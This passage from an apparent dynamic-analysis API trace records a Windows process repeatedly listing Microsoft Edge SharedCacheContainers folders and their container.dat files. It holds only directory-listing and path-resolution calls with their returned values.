lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.031] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0180.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0180.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", lpFilePart=0x0) returned 0x41 [0180.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", lpFilePart=0x0) returned 0x41 [0180.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.032] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.032] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0180.033] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0180.034] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 0 [0180.034] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", lpFilePart=0x0) returned 0x41 [0180.035] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0180.036] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.036] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0180.036] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0180.036] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0180.037] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0180.037] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0180.037] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0180.037] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0180.037] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.037] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0180.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", lpFilePart=0x0) returned 0x5c [0180.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", lpFilePart=0x0) returned 0x5c [0180.038] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f990 [0180.040] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.040] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.040] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.040] FindClose (in: hFindFile=0x135f990 | out: hFindFile=0x135f990) returned 1 [0180.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", lpFilePart=0x0) returned 0x5c [0180.041] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.041] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.041] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.041] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.041] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.042] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", lpFilePart=0x0) returned 0x5c [0180.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.042] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", lpFilePart=0x0) returned 0x5c [0180.042] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.042] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.042] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.042] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.043] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0180.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", lpFilePart=0x0) returned 0x5c [0180.043] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0180.043] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.043] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.043] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0180.044] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0180.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.044] 